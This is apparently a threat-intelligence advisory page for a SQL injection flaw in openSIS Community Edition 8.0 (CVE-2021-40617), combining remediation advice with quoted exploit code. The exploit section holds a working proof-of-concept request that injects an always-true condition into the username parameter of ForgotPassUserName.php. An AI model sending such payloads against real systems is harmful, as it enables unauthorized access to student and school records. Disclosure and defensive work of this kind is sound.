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ExploitPublished

openSIS Community Edition 8.0 · SQL Injection

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Mentioned vulnerabilities

Severity
Medium

Rated by Threat Radar

Data as of 30 Dec 2025, 22:16 UTC

What to do

AI-suggested

European organizations should immediately audit their openSIS deployments to identify affected versions. In the absence of official patches, organizations must implement strict input validation and parameterized queries specifically in the ForgotPassUserName.php script to prevent SQL Injection. Deploy web application firewalls (WAFs) with tailored rules to detect and block SQL Injection attempts targeting the vulnerable endpoint. Enforce multi-factor authentication (MFA) for all administrative accounts and continuously monitor admin sessions for anomalous activities indicative of session hijacking or misuse. Conduct regular security assessments and penetration testing focused on web application vulnerabilities, emphasizing SQL Injection vectors. Network segmentation should be applied to isolate the openSIS system, limiting potential lateral movement if compromised. Provide targeted training to administrators on secure session management and the risks associated with session hijacking. Maintain comprehensive, regular backups of critical data to enable rapid recovery in case of data tampering or loss. Finally, monitor threat intelligence sources for updates on patches or further exploit developments.

Description

openSIS Community Edition 8.0 - SQL Injection

Indicators of compromise

Exploit source code

Exploit code for openSIS Community Edition 8.0 - SQL Injection637 characters
# Exploit Title: openSIS Community Edition 8.0 - SQL Injection 
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0 
# Tested on: Windows
# CVE : CVE-2021-40617


Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close



Steps to Reproduce
Login as an admin user.
Intercep…

References

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